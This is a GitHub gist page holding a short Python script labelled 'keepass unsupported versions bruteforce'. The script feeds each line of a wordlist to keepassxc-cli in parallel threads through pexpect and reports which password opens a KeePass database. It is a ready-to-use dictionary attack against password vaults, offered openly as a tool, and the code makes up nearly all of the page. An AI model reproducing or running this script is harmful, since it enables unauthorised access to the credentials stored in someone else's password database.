Created
January 3, 2020 12:22
-
-
Save GanbaruTobi/af962e3018c20148307286ecc9588254 to your computer and use it in GitHub Desktop.
keepass unsupported versions bruteforce
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import pexpect | |
import threading | |
import time | |
class bruteThread (threading.Thread): | |
def __init__(self, password): | |
threading.Thread.__init__(self) | |
self.password = password | |
def run(self): | |
p = pexpect.spawn('/bin/bash -c "keepassxc-cli open test.kdbx"') | |
p.expect("Enter password to unlock") | |
p.sendline(self.password) | |
p.timeout = 2 | |
try: | |
p.expect("Error while") | |
p.close() | |
except : | |
print(self.password + " is correct") | |
with open('Passwords.txt') as passwords: | |
for password in passwords: | |
thread = bruteThread(password) | |
thread.start() | |
time.sleep(0.1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment